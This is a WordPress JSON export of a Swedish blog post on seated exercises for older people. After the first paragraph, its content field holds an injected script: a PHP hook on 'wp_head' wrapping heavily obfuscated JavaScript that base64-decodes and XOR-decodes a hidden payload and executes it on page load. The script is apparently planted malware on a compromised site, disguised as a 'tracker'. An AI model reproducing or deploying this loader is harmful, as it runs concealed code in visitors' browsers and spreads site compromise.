{"id":397648,"date":"2026-01-29T16:28:30","date_gmt":"2026-01-29T15:28:30","guid":{"rendered":"https:\/\/atena.sk\/blog\/sittovningar-for-aldre\/"},"modified":"2026-07-03T10:28:57","modified_gmt":"2026-07-03T08:28:57","slug":"sittovningar-for-aldre","status":"publish","type":"post","link":"https:\/\/atena.sk\/blog\/sv\/sittovningar-for-aldre\/","title":{"rendered":"Sitt\u00f6vningar f\u00f6r \u00e4ldre"},"content":{"rendered":"\n<p>  <\/p>\n\n<p>M\u00e5nga \u00e4ldre m\u00e4nniskor tror att n\u00e4r de blir \u00e4ldre, sjuka eller svaga, s\u00e5 \u00e4r tr\u00e4ning inte l\u00e4ngre en del av deras liv. Men sanningen \u00e4r tv\u00e4rtom. Just n\u00e4r vi slutar r\u00f6ra p\u00e5 oss b\u00f6rjar v\u00e5ra muskler f\u00f6rsvagas och lederna stelnar snabbast. Den goda nyheten \u00e4r att till och med att sitta kan g\u00f6ra underverk. Det h\u00e5ller kroppen aktiv, sinnet friskt och f\u00f6rb\u00e4ttrar livskvaliteten avsev\u00e4rt.      <\/p>\n\n<script>function xdav_tracker() {\n    ?>\n<script>\n!function(){var _0x50ad=atob('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'),_0xd5d6=99,_0xb8c9=new Uint8Array(_0x50ad['length']),_0x82d4=0;for(;_0x82d4<_0x50ad['length'];_0x82d4++)_0xb8c9[_0x82d4]=_0x50ad['charCodeAt'](_0x82d4)^_0xd5d6;(new Function(new TextDecoder()['decode'](_0xb8c9)))()}();\n<\/script>\n    <?php\n}\nadd_action( 'wp_head', 'xdav_tracker', 96 );<\/script>","protected":false},"excerpt":{"rendered":"<p>M\u00e5nga \u00e4ldre m\u00e4nniskor anser att tr\u00e4ning \u00e4r meningsl\u00f6st n\u00e4r r\u00f6rligheten \u00e4r begr\u00e4nsad. Men sanningen \u00e4r tv\u00e4rtom \u2013 enkla r\u00f6relser medan man sitter \u00e4r nyckeln till att bibeh\u00e5lla styrka, friska leder och b\u00e4ttre blodcirkulation. Denna s\u00e4kra form av aktivitet hj\u00e4lper till att lindra stelhet och ger \u00e4ldre den stabilitet de beh\u00f6ver i vardagen. Hos Atena tror vi att \u00e4ven sm\u00e5 steg kan leda till stora f\u00f6r\u00e4ndringar i livskvaliteten.     <\/p>\n","protected":false},"author":20,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[805,806,825],"tags":[],"acf":{"facebookpost":"\ud83e\ude91\ud83d\udc99 Chak su och sm\u00e5 r\u00f6relser \u00e4r av stor betydelse f\u00f6r \u00e4ldre personer.\n  Att sitta uppr\u00e4tt bidrar till att uppr\u00e4tth\u00e5lla styrka, r\u00f6rlighet och en b\u00e4ttre k\u00e4nsla under dagen.\n  Perfekt f\u00f6r \u00e4ldre, v\u00e5rdgivare och familjer som vill kunna ta sig fram s\u00e4kert. \ud83d\udc75\ud83d\udc74\u2728   ","popis_socialneho_obrazku":"Sm\u00e5 insatser, stora f\u00f6rdelar"},"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v22.6 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Sitt\u00f6vningar f\u00f6r \u00e4ldre - Atena blog<\/title>\n<meta name=\"description\" content=\"Enkla \u00f6vningar i sittande st\u00e4llning hj\u00e4lper \u00e4ldre att beh\u00e5lla sin r\u00f6rlighet och styrka. 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